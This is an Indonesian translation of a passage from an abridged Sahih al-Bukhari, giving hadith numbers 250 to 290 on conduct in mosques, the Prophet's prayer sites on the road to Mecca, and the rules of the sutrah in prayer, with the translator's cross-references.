250. Ubaidillah al-Khaulani mendengar ucapan Utsman bin Affan r.a. ketika ia mendengar perkataan orang-orang di kala membangun masjid Rasulullah saw., "Sesungguhnya, kamu telah berbuat banyak dan sesungguhnya aku mendengar Rasulullah saw bersabda, 'Barang siapa yang membangun masjid-Bukair berkata, 'Aku kira beliau bersabda'-karena mengharapkan keridhaan Allah, Allah akan membangunkan untuknya yang seperti itu di surga.'"




Bab Ke-66: Memegang Mata Panah dengan Tangan Sewaktu Lewat di Masjid


251. Jabir bin Abdullah berkata, "Seorang laki-laki lewat di masjid sambil membawa panah [dengan menampakkan mata panah/bagian tajamnya 8/190] lalu Rasulullah saw bersabda kepadanya, 'Peganglah mata panahnya [jangan sampai menggores orang muslim].' [Dia menjawab, 'Ya, aku laksanakan.']"




Bab Ke-67: Lewat di Masjid


252. Abu Musa berkata bahwa Nabi Muhammad saw bersabda, "Barangsiapa yang lewat pada sesuatu dari masjid-masjid kami atau pasar kami dengan anak panah, hendaklah ia pegang mata panahnya; janganlah ia melukai muslim dengan telapaknya." (Dalam satu riwayat: "Jangan sampai ada sesuatu darinya yang menimpa salah seorang muslim." 8/90)




Bab Ke-68: Bersyair di Dalam Masjid


253. Abu Salamah bin Abdurrahman bin Auf mendengar Hassan bin Tsabit al Anshari meminta kesaksian kepada Abu Hurairah r.a. (dan dari jalan Said ibnul Musayyab, berkata, "Umar lewat di masjid dan Hasan sedang bersenandung. Hassan berkata (kepada Umar yang memelototinya), 'Aku pernah bersenandung (bersyair) di dalamnya, sedangkan di sana ada orang yang lebih baik daripada engkau.' Hassan lalu menoleh kepada Abu Hurairah seraya berkata, 4/79), ['Hai Abu Hurairah, 7/109], aku meminta kepadamu dengan nama Allah, apakah kamu mendengar Rasulullah saw. bersabda, 'Wahai Hassan, jawablah dari Rasulullah saw (dalam satu riwayat: jawablah dariku). 'Wahai Allah, kuatkanlah ia dengan ruh suci (Jibril).' Abu Hurairah menjawab, 'Ya.'"




Bab Ke-69: Orang-Orang yang Bermain Tombak (Anggar) di Dalam Masjid


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Aisyah yang tercantum pada Kitab ke-12 'al-Idaini', Bab ke-2.")




Bab Ke-70: Menyebutkan Jual Beli di Atas Mimbar di Dalam Masjid


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnad nya hadits Aisyah dalam masalah pemerdekaan Barirah yang tercantum pada Kitab ke-24 'al-Buyu", Bab ke-73.")




Bab Ke-71: Menagih Utang dan Memberi Ketetapan di Masjid


254. Ka'ab bin Malik berkata bahwa ia beperkara utang dengan [Abdullah, 3/ 92] Ibnu Abi Hadrad [al-Aslami] [pada masa Rasulullah saw., 1/121] di masjid, [lalu ia mendesaknya, kemudian keduanya bersitegang]; suara keduanya keras hingga terdengar oleh Rasulullah saw. yang sedang berada di rumah beliau. Beliau keluar menemui keduanya sehingga terbukalah tirai kamar beliau. Beliau memanggil [Ka'ab bin Malik, 3/ 172], "Hai, Ka'ab." Ia menjawab, "Ya, wahai Rasulullah." Beliau bersabda, "Lunasilah sebagian dari utangmu ini." Beliau memberi isyarat kepadanya [dengan tangan beliau], yakni separonya. Ia menjawab, 'Telah aku lakukan, wahai Rasulullah". Beliau bersabda, "Berdirilah, lalu tunaikanlah." [Lalu ia mengambil separo utangnya dan membiarkan yang separonya].




Bab Ke-72: Menyapu Masjid, Memunguti Sobekan Kain, Kotoran, dan Kayu-kayuan Harum-haruman


255. Abu Hurairah berkata bahwa seorang laki-laki hitam atau wanita hitam penyapu masjid [aku tidak mengetahuinya kecuali seorang wanita],[50] lalu ia meninggal [sedang Nabi Muhammad saw. tidak mengetahui kematiannya, 2/ 92], lalu beliau menanyakannya [seraya bersabda, "Apa yang dilakukan orang-orang itu?"] Mereka manjawab, "Meninggal." Nabi Muhammad saw menimpali, "Mengapa kamu tidak memberitahukan kepadaku? Tunjukkanlah kuburannya (dengan dhamir/kata ganti "hi" (untuk laki-laki)) kepadaku!" Atau, beliau bersabda, "Atau kuburannya (dengan kata ganti untuk wanita)." Beliau lalu datang ke kuburnya dan menshalatinya.




Bab Ke-73: Diharamkannya Jual Beli Khamr di Masjid


256. Aisyah r.a. berkata, "Ketika diturunkan ayat-ayat [terakhir, 3/11] dari surah al-Baqarah tentang riba, Nabi Muhammad saw keluar ke masjid. Beliau lalu membacakannya kepada orang-orang dan beliau mengharamkan berdagang khamr"




Bab Ke-74: Pelayan-Pelayan untuk Kepentingan Masjid


Ibnu Abbas berkata mengenai ayat (tentang perkataan istri Imran), "Aku nazarkan untuk Mu (ya Allah) anak yang ada dalam kandunganku," ialah untuk melayani kepentingan masjid.[51]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Abu Hurairah yang telah disebutkan dua bab sebelumnya.")




Bab Ke-75: Orang yang Menjadi Tawanan atau Bermasalah Diikat di Masjid


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Abu Hurairah pada Kitab ke 21 'al-Amal fish Shalah', Bab ke-10.")




Bab Ke-76: Mandi Ketika Masuk Islam dan Mengikat Seorang Tawanan di Masjid


Syuraih memerintahkan agar orang yang bermasalah ditahan (diikat) di tiang masjid.[52]


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Abu Hurairah yang tercantum pada Kitab ke-64 'al-Maghazi', Bab ke-72.")




Bab Ke-77: Membuat Kemah di Masjid untuk Orang-Orang Sakit dan Lainnya


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Aisyah yang tertera pada Kitab ke-64 'al-Maghazi', Bab ke-72.")




Bab Ke-78: Memasukkan Unta ke dalam Masjid Karena Sakit


Ibnu Abbas berkata, "Nabi Muhammad saw melakukan thawaf dengan menaiki unta."[53]


257. Ummu Salamah berkata, "Aku mengadu kepada Rasulullah saw bahwa aku sakit. Beliau bersabda, 'Thawaflah di belakang orang-orang dan kamu naik kendaraan.' (Dalam satu riwayat darinya: Rasulullah saw bersabda kepadanya-ketika itu beliau berada di Mekah dan hendak keluar-, 'Apabila telah diiqamati shalat subuh, berthawaflah di atas unta mu ketika orang-orang sedang shalat, 2/65-1661). Aku lalu thawaf dan Rasulullah saw sedang shalat di samping Baitullah seraya membaca ath-Thuur wa Kitaabim Masthuur." [Ummu Salamah tidak melakukan shalat sehingga dia keluar.]




Bab Ke-79: Pintu Kecil dan Jalan Berlalu dalam Masjid


258. Abu Sa'id al-Khudri berkata, "Nabi Muhammad saw berkhotbah [kepada orang banyak, 4/253] dan beliau bersabda, 'Sesungguhnya, Allah menyuruh hamba Nya untuk memilih antara [diberi kemewahan] dunia dan apa yang ada di sisi-Nya, lalu hamba itu memilih apa yang ada di sisi Allah.' Abu Bakar r.a. menangis [dan berkata, 'Kami tebus dirimu dengan bapak dan ibu kami.'] Aku berkata dalam hati, 'Apakah yang menjadikan Tuan ini menangis? Jika Allah menyuruh seorang hamba untuk memilih antara [diberi kemewahan] dunia dan apa yang ada di sisi-Nya, lalu hamba itu memilih apa yang ada di sisi Allah [dan dia berkata, 'Kami tebus dirimu dengan bapak dan ibu kami,'] sedang Rasulullah saw itu adalah seorang hamba, padahal Abu Bakar itu adalah orang yang terpandai di antara kami.' Beliau bersabda, 'Wahai Abu Bakar, janganlah kamu menangis. Sesungguhnya, orang yang paling dermawan atasku dalam berteman dan hartanya adalah Abu Bakar. Seandainya aku boleh mengambil khalil (kekasih dalam arti khusus) [selain Tuhanku] dari umatku, niscaya aku mengambil Abu Bakar. Akan tetapi, persaudaraan (dalam satu riwayat: kekhalilan) Islam dan kasih sayangnya tidak membiarkan pintu (dalam satu riwayat: pintu kecil) di masjid melainkan ditutup kecuali pintu (dalam riwayat lain: pintu kecil) Abu Bakar.'"


259. Ibnu Abbas r.a. berkata, "Rasulullah saw di kala sakit, yang beliau wafat dalam sakit itu, keluar dengan mengikat kepala beliau dengan potongan kain. Beliau duduk di mimbar lalu beliau memuji dan menyanjung Allah, kemudian beliau bersabda, 'Tidak ada seorang pun yang lebih dermawan terhadapku dalam jiwa dan hartanya daripada Abu Bakar bin Abu Quhafah. Seandainya aku mengambil kekasih dari manusia niscaya aku mengambil Abu Bakar sebagai kekasih. Akan tetapi, persahabatan Islam lebih utama.' (Dalam satu riwayat: 'Akan tetapi, dia adalah saudaraku dan sahabatku.' 4/19]." Dalam riwayat lain dari Ibnu Abbas, "Adapun ucapan Rasulullah saw., 'Seandainya aku mengambil kekasih dari umat ini niscaya aku ambil Abu Bakar, tetapi persaudaraan Islam itu lebih utama atau lebih baik,' maka beliau mengucapkan yang demikian ini karena beliau menempatkan atau menetapkan Abu Bakar sebagai ayah (mertua).' 8/7) 'Tutuplah dariku setiap pintu di masjid ini kecuali pintu Abu Bakar.'"




Bab Ke-80: Pintu-Pintu dan Kunci-Kunci Ka'bah serta Masjid


260. Ibnu Juraij berkata, "Ibnu Abi Mulaikah berkata kepadaku, 'Wahai Abdul Malik, aku ingin kamu telah melihat masjid Ibnu Abbas dan pintu-pintunya.'"


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Umar yang tercantum pada Kitab ke-56 'al-Jihad', Bab ke-127.")




Bab Ke-81: Masuknya Orang Musyrik ke Dalam Masjid


(Aku berkata, "Dalam bab ini, Imam Bukhari meriwayatkan dengan isnad-nya hadits Abu Hurairah yang tercantum pada Kitab ke-64 'al-Maghazi', Bab ke-72.")




Bab Ke-82: Mengeraskan Suara di Dalam Masjid


261. Saib bin Yazid berkata, "Aku sedang berdiri di masjid, lalu ada seorang laki-laki melempariku dengan beberapa batu kecil. Aku melihat ke arahnya, ternyata orang itu adalah Umar ibnul Khaththab. Ia berkata, 'Pergilah, kemudian bawalah kedua orang itu ke sini!' Aku membawa kedua orang itu kepadanya. Umar berkata, 'Siapakah Anda berdua ini?' Atau, ia berkata, 'Dari manakah Anda berdua ini?' Mereka menjawab, 'Kami penduduk Thaif.' Umar berkata, 'Seandainya Anda berdua penduduk negeri ini niscaya aku pukul Anda. Pantaskah Anda berdua mengeraskan suara di masjid Rasulullah saw.?'"





Bab Ke-83: Pertemuan-Pertemuan Keagamaan Berbentuk Lingkaran dan Duduk di Dalam Masjid


262. Ibnu Umar berkata, "Seorang laki-laki bertanya kepada Nabi Muhammad saw ketika beliau [sedang di masjid] di atas mimbar [berkhotbah kepada orang banyak], 'Bagaimanakah shalat malam itu?' Beliau bersabda, 'Dua (rakaat) dua (rakaat). Jika takut kedahuluan subuh, shalat satu rakaat sebagai witir shalat yang sudah dikerjakan.' Dia berkata, 'Jadikanlah akhir shalatmu di malam hari itu witir karena Nabi Muhammad saw memerintahkan demikian.'" (Dalam satu riwayat: "Apabila engkau takut didahului masuknya waktu subuh, shalatlah satu rakaat sebagai witir bagi shalat yang sudah engkau kerjakan.")




Bab Ke-84: Berbaring di Masjid dan Menjulurkan Kaki


263. Paman Abbad bin Tamim pernah melihat Rasulullah saw. telentang di masjid sambil meletakkan salah satu kaki beliau di atas yang lain


264. Sa'id ibnul Musayyab berkata "Umar dan Utsman juga pernah melakukan hal yang seperti itu."




Bab Ke-85: Masjid yang Ada di Jalan dengan Tidak Mengganggu Orang Banyak


Al Hasan, Ayyub, dan Malik mengatakan begitu (yakni masjid di pinggir jalan hendaknya tidak mengganggu orang banyak).[54]




Bab Ke-86: Shalat di Masjid Pasar


Ibnu Aun shalat di masjid yang ada di rumahnya dan pintunya ditutup sehingga tidak dapat dimasuki oleh orang banyak.[55]


265. Abu Hurairah r.a. berkata bahwa Nabi Muhammad saw., bersabda, "Shalat jamaah melebihi atas shalat seseorang di rumahnya dan di pasarnya dengan dua puluh lima derajat. Sesungguhnya, salah seorang di antaramu apabila berwudhu dengan baik lalu datang ke masjid hanya karena mau shalat, tidaklah ia melangkahkan satu langkah melainkan Allah menaikkan derajatnya satu derajat dan menghapuskan satu kesalahan darinya sampai ia masuk masjid. Apabila ia masuk masjid, ia (dinilai dan diberi pahala seperti) berada dalam shalat selama ia bertahan karenanya dan malaikat memohonkan rahmat selama ia di dalam majelisnya yang mana ia shalat di dalamnya dan malaikat itu mengucapkan, 'Ya Allah, ampunilah ia, ya Allah sayangilah ia,' selama ia belum berhadats.'"




Bab Ke-87: Menyilangkan Jari-Jari Tangan (Memasukkan Sela-Sela Jari Tangan Satu ke Dalam Sela-Sela Jari Tangan yang Lain) di Dalam Masjid dan di Luar Masjid


266. Ibnu Umar atau Ibnu Amr berkata, "Nabi Muhammad saw menjalinkan jari-jari beliau."[56]


Abdullah (Ibnu Umar)[57] berkata bahwa Rasulullah saw bersabda, "Wahai Abdullah bin Amr, bagaimana keadaanmu kalau kamu berada di antara endapan (ampas) orang-orang seperti ini...?"[58]


267. Abu Musa r.a. berkata bahwa Nabi Muhammad saw bersabda, "Sesungguhnya, orang mukmin bagi orang mukmin lain seperti sebuah bangunan di mana sebagiannya menguatkan sebagian yang lain," dan beliau menjalinkan (menyilangkan) jari-jarinya.


268. Abu Hurairah r.a. berkata, "Rasulullah saw shalat bersama kami dalam salah satu dari dua shalat petang hari [zhuhur atau ashar, 2/66]." Ibnu Sirin berkata, "Abu Hurairah menyebutkan jenis shalat itu, tetapi aku lupa." Muhammad (bin Sirin) berkata, "[Dugaan berat aku adalah shalat ashar, 2/66, dan dalam satu riwayat: zhuhur, 7/85]."[59] Abu Hurairah berkata, "Beliau shalat bersama kami dua rakaat, kemudian beliau salam, lalu beliau berdiri pada kayu yang melintang di [bagian depan] masjid, kemudian beliau bersandar padanya seolah-olah beliau marah. Beliau meletakkan tangan kanan di atas tangan kiri, menjalin antara jari-jari, dan meletakkan pipi kanan di atas bagian luar dari telapak tangan kiri beliau, dan keluarlah orang-orang yang bersegera dari pintu masjid. Mereka berkata, '[Apakah] shalat sudah diringkas?' Adapun di kalangan kaum itu [pada waktu itu] ada Abu Bakar dan Umar, tetapi mereka takut untuk menyatakannya. Di antara kaum itu ada seorang laki-laki yang kedua tangannya panjang yang disebut (dalam satu riwayat: Nabi Muhammad saw biasa memanggilnya) Dzulyadain, dia berkata, 'Wahai Rasulullah, apakah engkau lupa ataukah memang shalat sudah diqashar (diringkas)?' Beliau bersabda, 'Aku tidak lupa dan tidak pula shalat itu diqashar.' [Dzulyadain berkata, 'Bahkan, engkau lupa, wahai Rasulullah.'] Beliau bertanya (kepada orang banyak), 'Apakah (benar) sebagaimana yang dikatakan oleh Dzulyadain?' Mereka menjawab, 'Ya.' [Beliau bersabda, 'Benar Dzulyadain.' Beliau lalu berdiri], kemudian beliau maju dan shalat akan apa yang tertinggal [dalam satu riwayat: dua rakaat lagi, 8/133], kemudian beliau salam, kemudian beliau bertakbir dan sujud seperti sujudnya atau lebih lama. Beliau lalu mengangkat kepala dan bertakbir, kemudian bertakbir dan sujud seperti sujudnya atau lebih lama. Beliau lalu mengangkat kepala dan bertakbir.'" Bisa jadi, mereka bertanya, "Kemudian beliau salam?"[60] Ibnu Sirin berkata, "Kami mendapat informasi bahwa Imran bin Hushain berkata, 'Beliau lalu salam.'"




Bab Ke-88: Masjid-Masjid yang Terdapat di Jalan-Jalan Madinah dan Tempat-Tempat yang Ditempati Nabi Muhammad saw. Shalat


269. Musa bin Uqbah berkata, "Aku pernah melihat Salim bin Abdullah mencari-cari beberapa tempat di jalan tertentu, lalu ia shalat di tempat-tempat itu dan memberitahukan bahwa ayahnya pernah shalat di tempat-tempat itu dan ayahnya pernah melihat Nabi Muhammad saw. shalat di tempat itu." Nafi' memberitahukan kepadaku dari Ibnu Umar bahwasanya ia mengerjakan shalat di tempat-tempat itu. Aku bertanya pula kepada Salim, maka aku tidak mengetahuinya melainkan cocok dengan apa yang diterangkan Nafi' mengenai letak tempat tempat itu seluruhnya, hanya saja mereka berbeda pendapat mengenai masjid yang terletak di Syaraf ar-Rauha'."


270. Nafi' berkata bahwa Abdullah memberitahukan kepadanya bahwa Rasulullah saw. singgah di bani Dzul Khulaifah ketika beliau umrah dan ketika beliau haji, di bawah pohon yang berduri di kawasan masjid yang ada di Dzul Khulaifah. Apabila beliau pulang dari suatu peperangan atau ketika pulang dari haji atau umrah, beliau turun dari perut suatu lembah (yakni Wadil Atiq) di jalan itu. Apabila beliau muncul dari suatu lembah, beliau menderumkan (unta) di tempat mengalirnya air di tebing lembah timur. Beliau tiba di sana di malam hari sampai masuk waktu subuh, tidak di masjid yang ada batunya dan tidak pula di bukit yang ada masjidnya. Di sana, ada celah di mana Abdullah shalat; di lembahnya ada tumpukan pasir, di sana Rasulullah saw shalat, lalu tumpukan pasir itu hanyut oleh banjir di tempat mengalirnya air, sehingga menimbuni tempat yang dipakai shalat oleh Abdullah.


271. Abdullah berkata bahwa Nabi Muhammad saw shalat di masjid kecil yang lebih kecil daripada masjid di dataran tinggi Rauha'. Abdullah mengetahui tempat yang dipergunakan shalat oleh Nabi Muhammad saw. Ia berkata, "Di sana, di sebelah kananmu ketika kamu berdiri shalat di masjid itu. Masjid itu di pinggir sebelah kanan, manakala kamu pergi ke Mekah. Jaraknya dengan masjid besar adalah satu lemparan batu atau yang semisal itu."


272. Abdullah bin Umar shalat di lembah Irquzh-Zhibyah yang ada di ujung Rauha'. Lembah itu penghabisan ujungnya di pinggir jalan di bawah masjid yang terletak di antaranya dengan ujung Rauha' di kala kamu pergi ke Mekah dan di sana telah dibangun masjid. Abdullah tidak shalat di masjid itu. Ia meninggalkannya dari sebelah kiri dan sebelah belakangnya, dan ia shalat di mukanya sampai ke lembah itu sendiri. Abdullah pulang dari Rauha' dan ia tidak shalat zhuhur sehingga tiba di tempat itu, lalu dia shalat zhuhur di sana. Apabila ia datang dari Mekah, jika ia melewatinya sesaat sebelum subuh atau di akhir waktu sahur, ia singgah sehingga ia shalat subuh di sana.


273. Abdullah berkata bahwa Nabi Muhammad saw. singgah di bawah pohon besar dekat Ruwaitsah di sebelah kanan jalan, yakni jalan tembus di tempat yang rendah dan datar sehingga ia keluar dari bukit kecil di bawah dua mil dari Ruwaitsah. Bagian atasnya telah runtuh dan gugur ke jurangnya dan bagian itu ada di belakang, dan di belakang itu pula terdapat banyak puing.



274. Nafi' berkata bahwa Nabi Muhammad saw shalat di ujung saluran air di belakang Araj.[61] Ketika Anda pergi ke dataran tinggi, di sebelah masjid itu terdapat dua atau tiga kuburan. Di atas kuburan itu ada batu nisan, di sebelah kanan jalan, di sebelah bebatuan jalan, di antara bebatuan itu Abdullah pulang dari Araj setelah matahari tergelincir di siang hari, lalu ia shalat zhuhur di masjid itu.


275. Abdullah bin Umar bercerita kepadanya (Nafi') bahwa Rasulullah saw singgah di pohon-pohon di kiri jalan di tempat saluran dekat Harsya.[62] Saluran itu lekat dengan (terletak di) ujung Harsya, antara dia dengan jalan dekat dari sasaran panah (jaraknya sekitar dua per tiga mil). Abdullah shalat di bawah pohon yang terdekat dari jalan dan itulah pohon yang paling tinggi.




276. Dulu, Nabi Muhammad saw singgah di saluran yang terdekat dengan Zhahran[63] ke arah Madinah ketika beliau singgah di Shafrawat.[64] Beliau singgah di saluran itu di sebelah kiri jalan di kala kamu pergi ke Mekah. Antara tempat tinggal Rasulullah saw dan jalan itu hanya satu lemparan batu.


277. Abdullah bin Umar bercerita kepada Nafi' bahwasanya Nabi Muhammad saw singgah di Dzi Thuwa[65] dan bermalam sampai pagi. Beliau lalu shalat subuh ketika tiba di Mekah. Mushalla Rasulullah saw di bukit yang besar. Di sana, tidak ada masjid yang dibangun, tetapi mushalla nya di bawah bukit yang besar.


278. Abdullah bin Umar bercerita kepada Nafi' bahwa Nabi Muhammad saw. menghadap dua tempat masuk gunung yang terletak di antara gunung itu dan gunung tinggi yang menuju Ka'bah. Beliau memposisikan masjid yang dibangun di sana berada di sebelah kiri masjid yang berada di ujung bukit Mushalla (tempat shalat) Nabi Muhammad saw lebih bawah darinya di atas bukit hitam, yang jaraknya dari bukit itu sekitar sepuluh hasta. Beliau lalu shalat dengan menghadap dua tempat rnasuk yang ada antara kamu dan Ka'bah.[66]



--------------------------------------------------------------------------------



Bab-Bab Sutrah Orang yang Shalat




Bab Ke-89: Sutrah (Sasaran/Pembatas) Imam adalah Juga Sutrah Orang yang di Belakangnya


279. Ibnu Umar r.a. mengatakan bahwa Rasulullah ketika keluar pada hari raya (dalam satu riwayat: pada hari Idul Fitri dan Idul Adha [2/7] ke mushalla/ lapangan tempat shalat Id 2/8), beliau memerintahkan kepada kami untuk meletakkan tombak di hadapan beliau. (Dalam satu riwayat: beliau biasa pergi ke mushalla dan dibawakan tombak. Lalu, ditancapkan di hadapan beliau. Dalam riwayat lain: ditegakkan di hadapan beliau 1/127). Lalu, beliau shalat dengan menghadap kepadanya, sedang orang-orang di belakang beliau. Beliau berbuat demikian itu dalam perjalanan. Karena itulah, para amir mengambilnya (melakukannya).




Bab Ke-90: Berapakah Seyogianya Jarak Antara Orang yang Shalat dan Sutrahnya


280. Sahl r.a. berkata, "Antara tempat shalat Rasulullah[67] dan dinding (dan dalam satu riwayat: jarak antara dinding masjid ke arah kiblat dengan mimbar 8/154)[68] adalah kira-kira jalan tempat lewatnya kambing."


281. Salamah r.a. berkata, "Dinding masjid di sisi mimbar itu hampir-hampir seekor biri-biri saja tidak dapat melaluinya."[69]




Bab Ke-91: Shalat Menghadapi Tombak Pendek sebagai Sutrah


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Umar yang disebutkan pada nomor 279 tadi.")




Bab Ke-92: Shalat Menghadapi Tongkat




Bab Ke-93: Sutrah di Mekah dan Lain-Lainnya


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Juhaifah yang disebutkan pada nomor 211 di muka.")




Bab Ke-94: Shalat dengan Menghadapi Pilar-Pilar


Umar berkata, "Orang-orang yang shalat lebih berhak untuk shalat di belakang pilar-pilar masjid daripada orang-orang yang berbicara."[70]


Umar juga pernah melihat seseorang shalat di antara dua pilar. Lalu, dia memindahkannya ke dekat sebuah pilar dan menyuruhnya supaya shalat di belakangnya.[71]


282. Yazid bin Ubaid berkata, "Saya bersama-sama dengan Salamah bin Akwa' dan dia shalat pada tiang yang ada di sebelah mushaf. Lalu saya berkata kepadanya, 'Wahai Abu Muslim, saya melihatmu selalu shalat pada tiang ini.' Ia menjawab, 'Sesungguhnya saya melihat Rasulullah selalu shalat padanya.'"




Bab Ke-95: Mendirikan Shalat yang Bukan Jamaah di Antara Pilar-Pilar


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Umar yang akan disebutkan pada '56 - Al-Jihad / 127 - BAB'").




Bab Ke-96:


283. Nafi' mengatakan bahwa Abdullah apabila memasuki Ka'bah, dia terus berjalan ke muka dan meninggalkan pintu Ka'bah di belakangnya. Dia berjalan terus sehingga dinding yang ada di hadapannya hanya berada lebih kurang tiga hasta darinya. Dia shalat di mana Nabi saw pernah shalat, sebagaimana diceritakan Bilal kepadanya. Ibnu Umar berkata, "Tidak ada persoalan bagi seseorang di antara kita untuk shalat di sembarang tempat di Ka'bah."




Bab Ke-97: Shalat Menghadap Kendaraan, Unta, Pohon, dan Pelana


284. Dari Nafi' dari Ibnu Umar dari Nabi saw bahwa beliau menjadikan kendaraan beliau sebagai sasaran (sutrah) shalat. Lalu, beliau shalat menghadap kepadanya. Saya bertanya, "Apakah kamu melihat apabila kendaraan itu bergerak?" Ia menjawab, "Beliau mengambil kendaraan kecil, ditegakkannya. Lalu, beliau shalat di bagian belakangnya." Umar melakukannya seperti itu.




Bab Ke-98: Shalat Menghadapi Ranjang


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan dengan isnadnya hadits Aisyah yang akan disebutkan pada nomor 288.")




Bab Ke-99: Orang yang Shalat Menolak Orang yang Lewat di Depannya


Ibnu Umar menolak orang yang lewat di depannya ketika sedang bertasyahud dan sewaktu di dalam Ka'bah. Dia pernah berkata, "Jika ia tidak mau kecuali engkau perangi, maka perangilah ia!"



285. Abu Sa'id Al-Khudri mengatakan bahwa ia shalat di hari Jumat pada sesuatu yang menutupinya dari manusia. Seorang pemuda dari bani Abu Muaith akan lewat di depannya. Abu Said menolak dadanya. Maka, pemuda itu melihat. Namun, ia tidak mendapat jalan selain di depannya. Lalu, ia kembali untuk melewatinya. Namun, Abu Said menolak lebih keras daripada yang pertama. Maka, ia mendapat (sesuatu yang tidak menyenangkan-penj.) dari Abu Sa'id. Kemudian ia datang kepada Marwan, mengadukan apa yang ia jumpai dari Abu Sa'id. Abu Sa'id datang pula kepada Marwan di belakangnya, lalu Marwan bertanya, "Ada apakah kamu dan anak saudaramu, hai Abu Said?" Abu Sa'id menjawab, "Saya mendengar Nabi bersabda, 'Apabila salah seorang di antaramu sedang shalat dengan ada sesuatu yang menutupinya dari orang banyak, lalu ada seseorang yang akan lewat di depannya, maka tolaklah ia.' (Dan dalam satu riwayat: 'Apabila ada sesuatu yang hendak lewat di depan seseorang di antara kamu ketika ia sedang shalat, maka hendaklah ia mencegahnya. Jika tidak mau, maka hendaklah ia mecegahnya lagi.' 4192). Jika ia enggan, maka perangilah ia, karena sesungguhnya ia adalah setan.'"




Bab Ke-100: Dosa Orang yang Berjalan di Depan Orang Shalat


286. Busr bin Abi Sa'id mengatakan bahwa Zaid bin Khalid menyuruhnya menemui Abu Juhaim. Ia perlu menanyakan kepadanya, apa yang pernah ia dengar dari Rasulullah mengenai orang yang berjalan di depan orang yang sedang mengerjakan shalat. Kemudian Abu Juhaim berkata, "Rasulullah bersabda, 'Seandainya orang yang lewat di muka orang yang sedang shalat itu mengetahui dosa yang dibebankan kepadanya, niscaya ia berdiri empat puluh lebih baik daripada ia lewat di depannya."' Abu Nadhar (perawi) berkata, "Saya tidak mengetahui, apakah beliau bersabda empat puluh hari, atau empat puluh bulan, atau empat puluh tahun."




Bab Ke-101: Seseorang Menghadap Seseorang yang Shalat


Utsman benci bila seseorang menghadap seseorang yang sedang shalat, kalau hal itu akan memecah perhatiannya. Apabila tidak menimbulkan efek tersebut, maka Zaid bin Tsabit berkata, "Aku tidak peduli, karena orang laki-laki tidaklah membatalkan shalat laki-laki lain."[72]


287. Dari Masruq dari Aisyah bahwa hal-hal yang membatalkan shalat disebutkan di sisinya. Mereka mengatakan, "Shalat menjadi batal jika seekor anjing, keledai, atau seorang wanita (lewat di depan orang yang shalat itu)." Aisyah berkata, "Anda sekalian telah menjadikan kami (kaum wanita) sama dengan anjing. (dalam satu riwayat: Anda samakan kami [dalam satu jalan: sungguh jelek Anda samakan kami] dengan himar dan anjing. Demi Allah), sesungguhnya saya melihat Nabi saw. shalat sedang saya berada di antara beliau dan kiblat. (Dalam satu riwayat: sedang kedua kakiku di arah kiblat beliau), dan saya berbaring (dalam satu riwayat: tidur) di tempat tidur. (Dalam satu riwayat: Lalu Nabi datang. Kemudian berada di tengah-tengah tempat tidur, lalu shalat 1/29). Maka, saya membutuhkan sesuatu. Tetapi, saya tidak suka menghadap beliau karena dapat mengganggu beliau (dan dalam satu riwayat: mengacaukan pikiran beliau). Maka, saya menyelinap turun dari arah kaki ranjang, sehingga saya menyelinap dari selimut saya.'"




Bab Ke-102: Shalat di Belakang Orang yang Tidur


(Saya berkata, "Dalam bab ini Imam Bukhari dengan isnadnya hadits Aisyah dalam bab berikut ini.")




Bab Ke-103: Shalat Tathawwu' (Sunnah) di Belakang Seorang Wanita


288. Aisyah istri Nabi saw. berkata, "Saya tidur di depan Rasulullah dengan kedua kakiku berada di arah kiblatnya. Apabila beliau sujud, beliau mendorongku. Lalu, aku menarik kedua kakiku. Apabia beliau berdiri, aku memanjangkan kembali kedua kakiku." Aisyah menambahkan, "Pada waktu itu tidak ada lampu di rumah."




Bab Ke-104: Orang yang Mengatakan, "Tidak Ada Sesuatu yang Dianggap Dapat Membatalkan Shalat."


289. Anak lelaki saudara Ibnu Syihab bertanya kepada pamannya tentang shalat, "Apakah dapat dibatalkan oleh sesuatu?" Dia menjawab, "Tidak dapat dibatalkan oleh sesuatu pun." Urwah bin Zubeir telah memberitahukan kepadaku bahwa Aisyah, istri Nabi saw. berkata, "Rasulullah bangun pada malam hari lalu mengerjakan shalat dan aku benar-benar dalam keadaan (tidur) melintang antara beliau dan arah kiblat pada kamar tidur keluarganya. Maka, ketika hendak witir, beliau membangunkan aku, lalu aku shalat witir (1/130)."




Bab Ke- 105: Jika Seseorang Membawa Seorang Anak Wanita Kecil Di Atas Lehernya Ketika Shalat


290. Abu Qatadah al-Anshari r.a. mengatakan bahwa Rasulullah sering shalat dengan membawa Umamah anak wanita Zainab putri Rasulullah yang menjadi istri Abul 'Ash bin Rabi'ah bin Abdi Syams (di pundak beliau 7/74). Apabila beliau sujud, beliau meletakkannya. Apabila beliau berdiri, beliau membawanya (menggendongnya)." (Dalam satu riwayat: "Apabila beliau ruku, maka beliau meletakkannya. Apabila beliau berdiri, beliau bawa berdiri.")




Bab Ke-106: Shalat dengan Menghadap Tempat Tidur yang Ditempati Seorang Wanita Haid


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan sebagian dari hadits Maimunah yang telah disebutkan pada nomor 212.")




Bab Ke-107: Apakah Diperbolehkan Suami Menyentuh Istrinya di Waktu Sujud, Supaya Bisa Sujud dengan Sebaik-baiknya?


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan sebagian dari hadits Aisyah yang tercantum pada nomor 288.")




Bab Ke-108: Wanita Dapat Memindahkan Hal-Hal yang Mengganggu / Membahayakan dari Orang yang Sedang Shalat


(Saya berkata, "Dalam bab ini Imam Bukhari meriwayatkan dengan isnadnya hadits Ibnu Mas'ud yang disebutkan pada nomor 144 di muka.")



--------------------------------------------------------------------------------

